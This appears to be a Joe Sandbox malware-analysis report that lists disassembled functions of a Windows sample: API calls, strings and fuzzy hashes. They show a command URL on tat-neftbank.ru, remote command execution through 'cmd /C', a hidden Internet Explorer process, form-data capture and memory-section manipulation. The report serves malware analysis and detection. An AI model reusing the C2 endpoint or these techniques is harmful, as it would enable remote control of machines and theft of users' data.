Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

\command.com, xrefs: 00406A13
:%02u, xrefs: 0040694F
%s /C %s, xrefs: 00406A44
wupd , xrefs: 00406A68
%s\Rtdx1%i.dat, xrefs: 00406AB8
:, xrefs: 00406934
%s\command.pif, xrefs: 00406A02
%s\cmd.exe, xrefs: 004069C5
:, xrefs: 00406927
%s/Rtdx1%i.htm, xrefs: 00406B39
%s\cmd.pif, xrefs: 004069A9
http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
/, xrefs: 00406AF7

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

\Iexplore.exe , xrefs: 004052EC
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
X-okRecv11, xrefs: 00405458
MicroSoft-Corp, xrefs: 004053C3
D, xrefs: 00405334

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

%s FORM_%X, xrefs: 00401F6B
value, xrefs: 00401BC7
%s%c, xrefs: 004021EB
%s %X%c, xrefs: 0040218F

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

NtOpenSection, xrefs: 00402867
RtlInitUnicodeString, xrefs: 00402841
ntdll.dll, xrefs: 00402835
RtlNtStatusToDosError, xrefs: 00402887
NtMapViewOfSection, xrefs: 00402877
NtUnmapViewOfSection, xrefs: 00402851

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

TXT: '%s', xrefs: 00403827
HEX: , xrefs: 004037E9
%02X , xrefs: 004037FF
[length=%i] [summ=%i], xrefs: 004037D8
X4, xrefs: 004037E2

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

@, xrefs: 004028DD
CURRENT_USER, xrefs: 00402914
\device\physicalmemory, xrefs: 004028B7

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1
yes, xrefs: 0040510E
BrowseNewProcess, xrefs: 00405113
GlobalUserOffline, xrefs: 004050FA
1601, xrefs: 004050D4
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

